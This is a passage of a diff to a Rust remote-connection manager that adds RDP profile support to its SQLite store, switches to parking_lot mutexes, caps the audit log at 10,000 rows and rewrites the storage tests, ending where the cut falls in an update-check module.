let words: &[&[u8]] =
|
||||||
|
&[b"Host ", b"HostName ", b"Port ", b"User ", b"ProxyJump ", b"IdentityFile ", b"Match ", b"*", b"=", b"\n", b"\"", b" ", b"a@b:22,", b"99999"];
|
||||||
|
for _ in 0..3000 {
|
||||||
|
let mut text = Vec::new();
|
||||||
|
for _ in 0..n.below(40) {
|
||||||
|
text.extend_from_slice(words[n.below(words.len())]);
|
||||||
|
}
|
||||||
|
text.extend(n.bytes(20, b" \t\n="));
|
||||||
|
if let Ok(blocks) = parse(&String::from_utf8_lossy(&text)) {
|
||||||
|
let _ = to_profiles(&blocks, "f");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const TEST_CONFIG: &str = "# Test SSH config
|
const TEST_CONFIG: &str = "# Test SSH config
|
||||||
|
|
||||||
Host *
|
Host *
|
||||||
|
|||||||
+127
-60
@@ -4,9 +4,9 @@
|
|||||||
use crate::Result;
|
use crate::Result;
|
||||||
use crate::models::*;
|
use crate::models::*;
|
||||||
use chrono::{DateTime, SecondsFormat};
|
use chrono::{DateTime, SecondsFormat};
|
||||||
|
use parking_lot::Mutex;
|
||||||
use rusqlite::{Connection, OptionalExtension, Row, params};
|
use rusqlite::{Connection, OptionalExtension, Row, params};
|
||||||
use std::path::Path;
|
use std::path::Path;
|
||||||
use std::sync::Mutex;
|
|
||||||
|
|
||||||
const MIGRATIONS: &[(i64, &str)] = &[
|
const MIGRATIONS: &[(i64, &str)] = &[
|
||||||
(1, include_str!("../migrations/001_initial.sql")),
|
(1, include_str!("../migrations/001_initial.sql")),
|
||||||
@@ -16,13 +16,14 @@ const MIGRATIONS: &[(i64, &str)] = &[
|
|||||||
(5, include_str!("../migrations/005_irc_protocol.sql")),
|
(5, include_str!("../migrations/005_irc_protocol.sql")),
|
||||||
(6, include_str!("../migrations/006_irc_channel_state.sql")),
|
(6, include_str!("../migrations/006_irc_channel_state.sql")),
|
||||||
(7, include_str!("../migrations/007_serial_protocol.sql")),
|
(7, include_str!("../migrations/007_serial_protocol.sql")),
|
||||||
|
(8, include_str!("../migrations/008_rdp_protocol.sql")),
|
||||||
];
|
];
|
||||||
|
|
||||||
const PROFILE_COLS: &str = "id, display_name, description, protocol, host, port, username,
|
const PROFILE_COLS: &str = "id, display_name, description, protocol, host, port, username,
|
||||||
tags, folder, environment, notes, favourite, last_connected,
|
tags, folder, environment, notes, favourite, last_connected,
|
||||||
connect_timeout, read_timeout,
|
connect_timeout, read_timeout,
|
||||||
terminal_font_family, terminal_font_size, terminal_scrollback, terminal_cursor_style,
|
terminal_font_family, terminal_font_size, terminal_scrollback, terminal_cursor_style,
|
||||||
ssh_config, telnet_config, raw_config, github_config, vnc_config, irc_config, serial_config,
|
ssh_config, telnet_config, raw_config, github_config, vnc_config, irc_config, serial_config, rdp_config,
|
||||||
created_at, updated_at";
|
created_at, updated_at";
|
||||||
|
|
||||||
/// Formats like Go's `time.RFC3339` (whole seconds, `Z` for UTC).
|
/// Formats like Go's `time.RFC3339` (whole seconds, `Z` for UTC).
|
||||||
@@ -34,6 +35,9 @@ pub fn parse_time(s: &str) -> Time {
|
|||||||
DateTime::parse_from_rfc3339(s).unwrap_or_else(|_| zero_time())
|
DateTime::parse_from_rfc3339(s).unwrap_or_else(|_| zero_time())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Audit-log entries kept; older ones are pruned as new ones arrive.
|
||||||
|
pub const MAX_AUDIT_ROWS: i64 = 10_000;
|
||||||
|
|
||||||
pub struct Store {
|
pub struct Store {
|
||||||
db: Mutex<Connection>,
|
db: Mutex<Connection>,
|
||||||
}
|
}
|
||||||
@@ -43,7 +47,8 @@ fn json_col<T: serde::Serialize>(v: &Option<T>) -> Option<String> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn parse_col<T: serde::de::DeserializeOwned>(s: Option<String>) -> Option<T> {
|
fn parse_col<T: serde::de::DeserializeOwned>(s: Option<String>) -> Option<T> {
|
||||||
s.filter(|s| !s.is_empty() && s != "null").and_then(|s| serde_json::from_str(&s).ok())
|
let s = s.filter(|s| !s.is_empty() && s != "null")?;
|
||||||
|
serde_json::from_str(&s).inspect_err(|e| eprintln!("storage: ignoring unreadable profile config: {e}")).ok()
|
||||||
}
|
}
|
||||||
|
|
||||||
fn scan_profile(r: &Row) -> rusqlite::Result<Profile> {
|
fn scan_profile(r: &Row) -> rusqlite::Result<Profile> {
|
||||||
@@ -77,8 +82,9 @@ fn scan_profile(r: &Row) -> rusqlite::Result<Profile> {
|
|||||||
vnc: parse_col(r.get(23)?),
|
vnc: parse_col(r.get(23)?),
|
||||||
irc: parse_col(r.get(24)?),
|
irc: parse_col(r.get(24)?),
|
||||||
serial: parse_col(r.get(25)?),
|
serial: parse_col(r.get(25)?),
|
||||||
created_at: parse_time(&r.get::<_, String>(26)?),
|
rdp: parse_col(r.get(26)?),
|
||||||
updated_at: parse_time(&r.get::<_, String>(27)?),
|
created_at: parse_time(&r.get::<_, String>(27)?),
|
||||||
|
updated_at: parse_time(&r.get::<_, String>(28)?),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -121,7 +127,7 @@ impl Store {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn migrate(&self) -> Result<()> {
|
fn migrate(&self) -> Result<()> {
|
||||||
let db = self.db.lock().unwrap();
|
let db = self.db.lock();
|
||||||
db.execute_batch("CREATE TABLE IF NOT EXISTS schema_version (version INTEGER PRIMARY KEY, applied_at TEXT NOT NULL)")?;
|
db.execute_batch("CREATE TABLE IF NOT EXISTS schema_version (version INTEGER PRIMARY KEY, applied_at TEXT NOT NULL)")?;
|
||||||
let current: i64 = db.query_row("SELECT COALESCE(MAX(version), 0) FROM schema_version", [], |r| r.get(0))?;
|
let current: i64 = db.query_row("SELECT COALESCE(MAX(version), 0) FROM schema_version", [], |r| r.get(0))?;
|
||||||
for (ver, sql) in MIGRATIONS {
|
for (ver, sql) in MIGRATIONS {
|
||||||
@@ -132,7 +138,7 @@ impl Store {
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
fn profile_params(p: &Profile) -> [Box<dyn rusqlite::ToSql>; 25] {
|
fn profile_params(p: &Profile) -> [Box<dyn rusqlite::ToSql>; 26] {
|
||||||
[
|
[
|
||||||
Box::new(p.display_name.clone()),
|
Box::new(p.display_name.clone()),
|
||||||
Box::new(p.description.clone()),
|
Box::new(p.description.clone()),
|
||||||
@@ -159,6 +165,7 @@ impl Store {
|
|||||||
Box::new(json_col(&p.vnc)),
|
Box::new(json_col(&p.vnc)),
|
||||||
Box::new(json_col(&p.irc)),
|
Box::new(json_col(&p.irc)),
|
||||||
Box::new(json_col(&p.serial)),
|
Box::new(json_col(&p.serial)),
|
||||||
|
Box::new(json_col(&p.rdp)),
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -167,10 +174,9 @@ impl Store {
|
|||||||
args.extend(Self::profile_params(p));
|
args.extend(Self::profile_params(p));
|
||||||
args.push(Box::new(fmt_time(&p.created_at)));
|
args.push(Box::new(fmt_time(&p.created_at)));
|
||||||
args.push(Box::new(fmt_time(&p.updated_at)));
|
args.push(Box::new(fmt_time(&p.updated_at)));
|
||||||
let sql = format!("INSERT INTO profiles ({PROFILE_COLS}) VALUES ({})", vec!["?"; 28].join(","));
|
let sql = format!("INSERT INTO profiles ({PROFILE_COLS}) VALUES ({})", vec!["?"; 29].join(","));
|
||||||
self.db
|
self.db
|
||||||
.lock()
|
.lock()
|
||||||
.unwrap()
|
|
||||||
.execute(&sql, rusqlite::params_from_iter(args.iter().map(|b| b.as_ref())))
|
.execute(&sql, rusqlite::params_from_iter(args.iter().map(|b| b.as_ref())))
|
||||||
.map_err(|e| format!("storage: failed to create profile: {e}"))?;
|
.map_err(|e| format!("storage: failed to create profile: {e}"))?;
|
||||||
Ok(())
|
Ok(())
|
||||||
@@ -183,13 +189,12 @@ impl Store {
|
|||||||
let n = self
|
let n = self
|
||||||
.db
|
.db
|
||||||
.lock()
|
.lock()
|
||||||
.unwrap()
|
|
||||||
.execute(
|
.execute(
|
||||||
"UPDATE profiles SET display_name=?, description=?, protocol=?, host=?, port=?, username=?,
|
"UPDATE profiles SET display_name=?, description=?, protocol=?, host=?, port=?, username=?,
|
||||||
tags=?, folder=?, environment=?, notes=?, favourite=?, last_connected=?,
|
tags=?, folder=?, environment=?, notes=?, favourite=?, last_connected=?,
|
||||||
connect_timeout=?, read_timeout=?,
|
connect_timeout=?, read_timeout=?,
|
||||||
terminal_font_family=?, terminal_font_size=?, terminal_scrollback=?, terminal_cursor_style=?,
|
terminal_font_family=?, terminal_font_size=?, terminal_scrollback=?, terminal_cursor_style=?,
|
||||||
ssh_config=?, telnet_config=?, raw_config=?, github_config=?, vnc_config=?, irc_config=?, serial_config=?,
|
ssh_config=?, telnet_config=?, raw_config=?, github_config=?, vnc_config=?, irc_config=?, serial_config=?, rdp_config=?,
|
||||||
updated_at=? WHERE id=?",
|
updated_at=? WHERE id=?",
|
||||||
rusqlite::params_from_iter(args.iter().map(|b| b.as_ref())),
|
rusqlite::params_from_iter(args.iter().map(|b| b.as_ref())),
|
||||||
)
|
)
|
||||||
@@ -203,14 +208,13 @@ impl Store {
|
|||||||
pub fn get_profile(&self, id: &str) -> Result<Profile> {
|
pub fn get_profile(&self, id: &str) -> Result<Profile> {
|
||||||
self.db
|
self.db
|
||||||
.lock()
|
.lock()
|
||||||
.unwrap()
|
|
||||||
.query_row(&format!("SELECT {PROFILE_COLS} FROM profiles WHERE id = ?"), [id], scan_profile)
|
.query_row(&format!("SELECT {PROFILE_COLS} FROM profiles WHERE id = ?"), [id], scan_profile)
|
||||||
.optional()?
|
.optional()?
|
||||||
.ok_or_else(|| format!("storage: profile {id:?} not found").into())
|
.ok_or_else(|| format!("storage: profile {id:?} not found").into())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn delete_profile(&self, id: &str) -> Result<()> {
|
pub fn delete_profile(&self, id: &str) -> Result<()> {
|
||||||
let mut db = self.db.lock().unwrap();
|
let mut db = self.db.lock();
|
||||||
let tx = db.transaction()?;
|
let tx = db.transaction()?;
|
||||||
tx.execute("DELETE FROM irc_channel_state WHERE profile_id = ?", [id])?;
|
tx.execute("DELETE FROM irc_channel_state WHERE profile_id = ?", [id])?;
|
||||||
if tx.execute("DELETE FROM profiles WHERE id = ?", [id])? == 0 {
|
if tx.execute("DELETE FROM profiles WHERE id = ?", [id])? == 0 {
|
||||||
@@ -221,14 +225,14 @@ impl Store {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn list_profiles(&self) -> Result<Vec<Profile>> {
|
pub fn list_profiles(&self) -> Result<Vec<Profile>> {
|
||||||
let db = self.db.lock().unwrap();
|
let db = self.db.lock();
|
||||||
let mut st = db.prepare(&format!("SELECT {PROFILE_COLS} FROM profiles ORDER BY display_name"))?;
|
let mut st = db.prepare(&format!("SELECT {PROFILE_COLS} FROM profiles ORDER BY display_name"))?;
|
||||||
let rows = st.query_map([], scan_profile)?.collect::<rusqlite::Result<Vec<_>>>()?;
|
let rows = st.query_map([], scan_profile)?.collect::<rusqlite::Result<Vec<_>>>()?;
|
||||||
Ok(rows)
|
Ok(rows)
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn set_favourite(&self, id: &str, fav: bool) -> Result<()> {
|
pub fn set_favourite(&self, id: &str, fav: bool) -> Result<()> {
|
||||||
let n = self.db.lock().unwrap().execute("UPDATE profiles SET favourite = ?, updated_at = ? WHERE id = ?", params![fav as i64, fmt_time(&now()), id])?;
|
let n = self.db.lock().execute("UPDATE profiles SET favourite = ?, updated_at = ? WHERE id = ?", params![fav as i64, fmt_time(&now()), id])?;
|
||||||
if n == 0 {
|
if n == 0 {
|
||||||
return Err(format!("storage: profile {id:?} not found").into());
|
return Err(format!("storage: profile {id:?} not found").into());
|
||||||
}
|
}
|
||||||
@@ -237,7 +241,7 @@ impl Store {
|
|||||||
|
|
||||||
pub fn update_last_connected(&self, id: &str) -> Result<()> {
|
pub fn update_last_connected(&self, id: &str) -> Result<()> {
|
||||||
let now = fmt_time(&now());
|
let now = fmt_time(&now());
|
||||||
self.db.lock().unwrap().execute("UPDATE profiles SET last_connected = ?, updated_at = ? WHERE id = ?", params![now, now, id])?;
|
self.db.lock().execute("UPDATE profiles SET last_connected = ?, updated_at = ? WHERE id = ?", params![now, now, id])?;
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -273,7 +277,6 @@ impl Store {
|
|||||||
Ok(self
|
Ok(self
|
||||||
.db
|
.db
|
||||||
.lock()
|
.lock()
|
||||||
.unwrap()
|
|
||||||
.query_row(
|
.query_row(
|
||||||
"SELECT id, host, port, key_type, fingerprint, public_key, first_seen, last_seen, trusted
|
"SELECT id, host, port, key_type, fingerprint, public_key, first_seen, last_seen, trusted
|
||||||
FROM known_hosts WHERE host = ? AND port = ?",
|
FROM known_hosts WHERE host = ? AND port = ?",
|
||||||
@@ -284,7 +287,7 @@ impl Store {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn save_known_host(&self, kh: &KnownHost) -> Result<()> {
|
pub fn save_known_host(&self, kh: &KnownHost) -> Result<()> {
|
||||||
self.db.lock().unwrap().execute(
|
self.db.lock().execute(
|
||||||
"INSERT INTO known_hosts (id, host, port, key_type, fingerprint, public_key, first_seen, last_seen, trusted)
|
"INSERT INTO known_hosts (id, host, port, key_type, fingerprint, public_key, first_seen, last_seen, trusted)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
ON CONFLICT(host, port, key_type) DO UPDATE SET
|
ON CONFLICT(host, port, key_type) DO UPDATE SET
|
||||||
@@ -306,7 +309,7 @@ impl Store {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn list_known_hosts(&self) -> Result<Vec<KnownHost>> {
|
pub fn list_known_hosts(&self) -> Result<Vec<KnownHost>> {
|
||||||
let db = self.db.lock().unwrap();
|
let db = self.db.lock();
|
||||||
let mut st = db.prepare(
|
let mut st = db.prepare(
|
||||||
"SELECT id, host, port, key_type, fingerprint, public_key, first_seen, last_seen, trusted
|
"SELECT id, host, port, key_type, fingerprint, public_key, first_seen, last_seen, trusted
|
||||||
FROM known_hosts ORDER BY host, port",
|
FROM known_hosts ORDER BY host, port",
|
||||||
@@ -316,21 +319,24 @@ impl Store {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn delete_known_host(&self, id: &str) -> Result<()> {
|
pub fn delete_known_host(&self, id: &str) -> Result<()> {
|
||||||
if self.db.lock().unwrap().execute("DELETE FROM known_hosts WHERE id = ?", [id])? == 0 {
|
if self.db.lock().execute("DELETE FROM known_hosts WHERE id = ?", [id])? == 0 {
|
||||||
return Err(format!("storage: known host {id:?} not found").into());
|
return Err(format!("storage: known host {id:?} not found").into());
|
||||||
}
|
}
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Records an action; the log keeps the newest [`MAX_AUDIT_ROWS`] entries.
|
||||||
pub fn add_audit(&self, action: &str, profile_id: &str, session_id: &str, details: &str) {
|
pub fn add_audit(&self, action: &str, profile_id: &str, session_id: &str, details: &str) {
|
||||||
let _ = self.db.lock().unwrap().execute(
|
let db = self.db.lock();
|
||||||
|
let _ = db.execute(
|
||||||
"INSERT INTO audit_log (id, timestamp, action, profile_id, session_id, details) VALUES (?, ?, ?, ?, ?, ?)",
|
"INSERT INTO audit_log (id, timestamp, action, profile_id, session_id, details) VALUES (?, ?, ?, ?, ?, ?)",
|
||||||
params![new_id(), fmt_time(&now()), action, profile_id, session_id, details],
|
params![new_id(), fmt_time(&now()), action, profile_id, session_id, details],
|
||||||
);
|
);
|
||||||
|
let _ = db.execute("DELETE FROM audit_log WHERE rowid <= (SELECT MAX(rowid) FROM audit_log) - ?", [MAX_AUDIT_ROWS]);
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn list_audit(&self, limit: i64) -> Result<Vec<AuditEntry>> {
|
pub fn list_audit(&self, limit: i64) -> Result<Vec<AuditEntry>> {
|
||||||
let db = self.db.lock().unwrap();
|
let db = self.db.lock();
|
||||||
let mut st = db.prepare("SELECT id, timestamp, action, profile_id, session_id, details FROM audit_log ORDER BY timestamp DESC LIMIT ?")?;
|
let mut st = db.prepare("SELECT id, timestamp, action, profile_id, session_id, details FROM audit_log ORDER BY timestamp DESC LIMIT ?")?;
|
||||||
let rows = st
|
let rows = st
|
||||||
.query_map([limit], |r| {
|
.query_map([limit], |r| {
|
||||||
@@ -348,7 +354,7 @@ impl Store {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn irc_last_rooms(&self, profile_id: &str) -> Result<Vec<String>> {
|
pub fn irc_last_rooms(&self, profile_id: &str) -> Result<Vec<String>> {
|
||||||
let db = self.db.lock().unwrap();
|
let db = self.db.lock();
|
||||||
let mut st = db.prepare("SELECT room_name FROM irc_channel_state WHERE profile_id = ? ORDER BY position, room_name")?;
|
let mut st = db.prepare("SELECT room_name FROM irc_channel_state WHERE profile_id = ? ORDER BY position, room_name")?;
|
||||||
let rows = st.query_map([profile_id], |r| r.get(0))?.collect::<rusqlite::Result<Vec<String>>>()?;
|
let rows = st.query_map([profile_id], |r| r.get(0))?.collect::<rusqlite::Result<Vec<String>>>()?;
|
||||||
Ok(rows)
|
Ok(rows)
|
||||||
@@ -360,7 +366,7 @@ impl Store {
|
|||||||
return Err("storage: IRC channel state requires a profile ID".into());
|
return Err("storage: IRC channel state requires a profile ID".into());
|
||||||
}
|
}
|
||||||
let rooms = dedup_rooms(&[rooms]);
|
let rooms = dedup_rooms(&[rooms]);
|
||||||
let mut db = self.db.lock().unwrap();
|
let mut db = self.db.lock();
|
||||||
let tx = db.transaction()?;
|
let tx = db.transaction()?;
|
||||||
tx.execute("DELETE FROM irc_channel_state WHERE profile_id = ?", [profile_id])?;
|
tx.execute("DELETE FROM irc_channel_state WHERE profile_id = ?", [profile_id])?;
|
||||||
let now = fmt_time(&now());
|
let now = fmt_time(&now());
|
||||||
@@ -375,15 +381,14 @@ impl Store {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn preferences(&self) -> AppPreferences {
|
pub fn preferences(&self) -> AppPreferences {
|
||||||
let v: Option<String> =
|
let v: Option<String> = self.db.lock().query_row("SELECT value FROM preferences WHERE key = '_all'", [], |r| r.get(0)).optional().ok().flatten();
|
||||||
self.db.lock().unwrap().query_row("SELECT value FROM preferences WHERE key = '_all'", [], |r| r.get(0)).optional().ok().flatten();
|
|
||||||
let mut p = v.and_then(|v| serde_json::from_str::<AppPreferences>(&v).ok()).unwrap_or_default();
|
let mut p = v.and_then(|v| serde_json::from_str::<AppPreferences>(&v).ok()).unwrap_or_default();
|
||||||
p.apply_defaults();
|
p.apply_defaults();
|
||||||
p
|
p
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn save_preferences(&self, p: &AppPreferences) -> Result<()> {
|
pub fn save_preferences(&self, p: &AppPreferences) -> Result<()> {
|
||||||
self.db.lock().unwrap().execute(
|
self.db.lock().execute(
|
||||||
"INSERT INTO preferences (key, value) VALUES ('_all', ?) ON CONFLICT(key) DO UPDATE SET value = excluded.value",
|
"INSERT INTO preferences (key, value) VALUES ('_all', ?) ON CONFLICT(key) DO UPDATE SET value = excluded.value",
|
||||||
[serde_json::to_string(p)?],
|
[serde_json::to_string(p)?],
|
||||||
)?;
|
)?;
|
||||||
@@ -391,14 +396,14 @@ impl Store {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn list_snippets(&self) -> Result<Vec<Snippet>> {
|
pub fn list_snippets(&self) -> Result<Vec<Snippet>> {
|
||||||
let db = self.db.lock().unwrap();
|
let db = self.db.lock();
|
||||||
let mut st = db.prepare("SELECT id, name, command, description, folder, tags, created_at, updated_at FROM snippets ORDER BY name ASC")?;
|
let mut st = db.prepare("SELECT id, name, command, description, folder, tags, created_at, updated_at FROM snippets ORDER BY name ASC")?;
|
||||||
let rows = st.query_map([], scan_snippet)?.collect::<rusqlite::Result<Vec<_>>>()?;
|
let rows = st.query_map([], scan_snippet)?.collect::<rusqlite::Result<Vec<_>>>()?;
|
||||||
Ok(rows)
|
Ok(rows)
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn create_snippet(&self, s: &Snippet) -> Result<()> {
|
pub fn create_snippet(&self, s: &Snippet) -> Result<()> {
|
||||||
self.db.lock().unwrap().execute(
|
self.db.lock().execute(
|
||||||
"INSERT INTO snippets (id, name, command, description, folder, tags, created_at, updated_at) VALUES (?, ?, ?, ?, ?, ?, ?, ?)",
|
"INSERT INTO snippets (id, name, command, description, folder, tags, created_at, updated_at) VALUES (?, ?, ?, ?, ?, ?, ?, ?)",
|
||||||
params![s.id, s.name, s.command, s.description, s.folder, serde_json::to_string(&s.tags)?, fmt_time(&s.created_at), fmt_time(&s.updated_at)],
|
params![s.id, s.name, s.command, s.description, s.folder, serde_json::to_string(&s.tags)?, fmt_time(&s.created_at), fmt_time(&s.updated_at)],
|
||||||
)?;
|
)?;
|
||||||
@@ -406,7 +411,7 @@ impl Store {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn update_snippet(&self, s: &Snippet) -> Result<()> {
|
pub fn update_snippet(&self, s: &Snippet) -> Result<()> {
|
||||||
self.db.lock().unwrap().execute(
|
self.db.lock().execute(
|
||||||
"UPDATE snippets SET name=?, command=?, description=?, folder=?, tags=?, updated_at=? WHERE id=?",
|
"UPDATE snippets SET name=?, command=?, description=?, folder=?, tags=?, updated_at=? WHERE id=?",
|
||||||
params![s.name, s.command, s.description, s.folder, serde_json::to_string(&s.tags)?, fmt_time(&s.updated_at), s.id],
|
params![s.name, s.command, s.description, s.folder, serde_json::to_string(&s.tags)?, fmt_time(&s.updated_at), s.id],
|
||||||
)?;
|
)?;
|
||||||
@@ -414,7 +419,7 @@ impl Store {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn delete_snippet(&self, id: &str) -> Result<()> {
|
pub fn delete_snippet(&self, id: &str) -> Result<()> {
|
||||||
self.db.lock().unwrap().execute("DELETE FROM snippets WHERE id = ?", [id])?;
|
self.db.lock().execute("DELETE FROM snippets WHERE id = ?", [id])?;
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -439,37 +444,99 @@ mod tests {
|
|||||||
use super::*;
|
use super::*;
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn opens_go_database_and_migrates() {
|
fn audit_log_keeps_the_newest_entries() {
|
||||||
let fx = std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("tests/fixtures/link.db");
|
let tmp = std::env::temp_dir().join(format!("nexus-audit-{}.db", std::process::id()));
|
||||||
let tmp = std::env::temp_dir().join(format!("nexus-store-{}.db", std::process::id()));
|
|
||||||
std::fs::copy(fx, &tmp).unwrap();
|
|
||||||
let s = Store::open(&tmp).unwrap();
|
let s = Store::open(&tmp).unwrap();
|
||||||
let ps = s.list_profiles().unwrap();
|
{
|
||||||
assert_eq!(ps.len(), 6);
|
let mut db = s.db.lock();
|
||||||
let ssh = ps.iter().find(|p| p.protocol == Protocol::Ssh).unwrap();
|
let tx = db.transaction().unwrap();
|
||||||
assert!(ssh.favourite);
|
for n in 0..MAX_AUDIT_ROWS {
|
||||||
assert_eq!(ssh.tags, ["fixture", "ssh"]);
|
tx.execute("INSERT INTO audit_log (id, timestamp, action) VALUES (?, '2020-01-01T00:00:00Z', 'old')", [n.to_string()]).unwrap();
|
||||||
assert_eq!(ssh.last_connected.map(|t| fmt_time(&t)).as_deref(), Some("2026-01-02T03:04:05Z"));
|
}
|
||||||
let c = ssh.ssh.as_ref().unwrap();
|
tx.commit().unwrap();
|
||||||
assert_eq!(c.env_vars["LANG"], "en_GB.UTF-8");
|
}
|
||||||
assert_eq!(c.login_scripts.len(), 2);
|
for _ in 0..3 {
|
||||||
assert_eq!(c.port_forwards[0].bind_port, 8080);
|
s.add_audit("new", "", "", "");
|
||||||
let irc = ps.iter().find(|p| p.protocol == Protocol::Irc).unwrap();
|
}
|
||||||
assert_eq!(s.irc_last_rooms(&irc.id).unwrap(), ["#rust", "#nexus"]);
|
let count = |action: &str| s.db.lock().query_row("SELECT COUNT(*) FROM audit_log WHERE action = ?", [action], |r| r.get::<_, i64>(0)).unwrap();
|
||||||
assert_eq!(s.list_known_hosts().unwrap()[0].fingerprint, "SHA256:abc");
|
assert_eq!((count("old"), count("new")), (MAX_AUDIT_ROWS - 3, 3));
|
||||||
assert_eq!(s.list_snippets().unwrap()[0].command, "uptime");
|
|
||||||
assert_eq!(s.preferences().terminal_theme, "dracula");
|
|
||||||
// Migration 007 lets serial profiles in.
|
|
||||||
let mut p = Profile::new(Protocol::Serial);
|
|
||||||
p.host = "/dev/ttyUSB0".into();
|
|
||||||
p.normalize();
|
|
||||||
s.create_profile(&p).unwrap();
|
|
||||||
assert_eq!(s.get_profile(&p.id).unwrap(), p.clone().with_secs());
|
|
||||||
// Round trip of an existing row is lossless.
|
|
||||||
s.update_profile(ssh).unwrap();
|
|
||||||
assert_eq!(&s.get_profile(&ssh.id).unwrap(), ssh);
|
|
||||||
drop(s);
|
drop(s);
|
||||||
let _ = std::fs::remove_file(&tmp);
|
for ext in ["", "-wal", "-shm"] {
|
||||||
|
let _ = std::fs::remove_file(format!("{}{ext}", tmp.display()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn profiles_and_app_state_round_trip() {
|
||||||
|
let tmp = std::env::temp_dir().join(format!("nexus-store-{}.db", std::process::id()));
|
||||||
|
let s = Store::open(&tmp).unwrap();
|
||||||
|
let mut ssh = Profile::new(Protocol::Ssh);
|
||||||
|
ssh.host = "box".into();
|
||||||
|
ssh.username = "me".into();
|
||||||
|
ssh.favourite = true;
|
||||||
|
ssh.tags = vec!["a".into(), "b".into()];
|
||||||
|
let c = ssh.ssh.as_mut().unwrap();
|
||||||
|
c.env_vars.insert("LANG".into(), "en_GB.UTF-8".into());
|
||||||
|
c.login_scripts = vec![LoginScriptStep { kind: "wait".into(), value: "$".into(), timeout: 5 }];
|
||||||
|
c.port_forwards = vec![PortForward { id: "f1".into(), bind_port: 8080, dest_host: "db".into(), dest_port: 5432, enabled: true, ..Default::default() }];
|
||||||
|
ssh.normalize();
|
||||||
|
s.create_profile(&ssh).unwrap();
|
||||||
|
let ssh = ssh.with_secs();
|
||||||
|
assert_eq!(s.get_profile(&ssh.id).unwrap(), ssh);
|
||||||
|
s.update_profile(&ssh).unwrap();
|
||||||
|
assert_eq!(s.get_profile(&ssh.id).unwrap(), ssh, "updates are lossless");
|
||||||
|
let mut rdp = Profile::new(Protocol::Rdp);
|
||||||
|
rdp.host = "win".into();
|
||||||
|
rdp.username = "me".into();
|
||||||
|
rdp.rdp.as_mut().unwrap().domain = "CORP".into();
|
||||||
|
rdp.normalize();
|
||||||
|
s.create_profile(&rdp).unwrap();
|
||||||
|
assert_eq!(s.get_profile(&rdp.id).unwrap(), rdp.clone().with_secs());
|
||||||
|
let mut serial = Profile::new(Protocol::Serial);
|
||||||
|
serial.host = "/dev/ttyUSB0".into();
|
||||||
|
serial.normalize();
|
||||||
|
s.create_profile(&serial).unwrap();
|
||||||
|
assert_eq!(s.list_profiles().unwrap().len(), 3);
|
||||||
|
|
||||||
|
s.save_irc_last_rooms(&ssh.id, &["#rust".into(), "#nexus".into()]).unwrap();
|
||||||
|
assert_eq!(s.irc_last_rooms(&ssh.id).unwrap(), ["#rust", "#nexus"]);
|
||||||
|
let t = parse_time("2026-01-02T03:04:05Z");
|
||||||
|
let kh = KnownHost {
|
||||||
|
id: "k1".into(),
|
||||||
|
host: "box".into(),
|
||||||
|
port: 22,
|
||||||
|
key_type: "ssh-ed25519".into(),
|
||||||
|
fingerprint: "SHA256:abc".into(),
|
||||||
|
public_key: String::new(),
|
||||||
|
first_seen: t,
|
||||||
|
last_seen: t,
|
||||||
|
trusted: true,
|
||||||
|
};
|
||||||
|
s.save_known_host(&kh).unwrap();
|
||||||
|
let kh = s.list_known_hosts().unwrap().remove(0);
|
||||||
|
assert_eq!(kh.fingerprint, "SHA256:abc");
|
||||||
|
s.delete_known_host(&kh.id).unwrap();
|
||||||
|
assert!(s.list_known_hosts().unwrap().is_empty());
|
||||||
|
assert!(s.delete_known_host(&kh.id).is_err(), "unknown ids are an error");
|
||||||
|
s.create_snippet(&Snippet {
|
||||||
|
id: "s1".into(),
|
||||||
|
name: "up".into(),
|
||||||
|
command: "uptime".into(),
|
||||||
|
description: String::new(),
|
||||||
|
folder: String::new(),
|
||||||
|
tags: vec![],
|
||||||
|
created_at: t,
|
||||||
|
updated_at: t,
|
||||||
|
})
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(s.list_snippets().unwrap()[0].command, "uptime");
|
||||||
|
let prefs = AppPreferences { terminal_theme: "dracula".into(), ..Default::default() };
|
||||||
|
s.save_preferences(&prefs).unwrap();
|
||||||
|
assert_eq!(s.preferences().terminal_theme, "dracula");
|
||||||
|
drop(s);
|
||||||
|
for ext in ["", "-wal", "-shm"] {
|
||||||
|
let _ = std::fs::remove_file(format!("{}{ext}", tmp.display()));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Profile {
|
impl Profile {
|
||||||
|
|||||||
+12
-65
@@ -1,6 +1,6 @@
|
|||||||
//! Update checks against a self-hosted manifest (or, as a fallback, GitHub's latest release).
|
//! Update checks against a self-hosted manifest. Check-only: nothing is downloaded or installed.
|
||||||
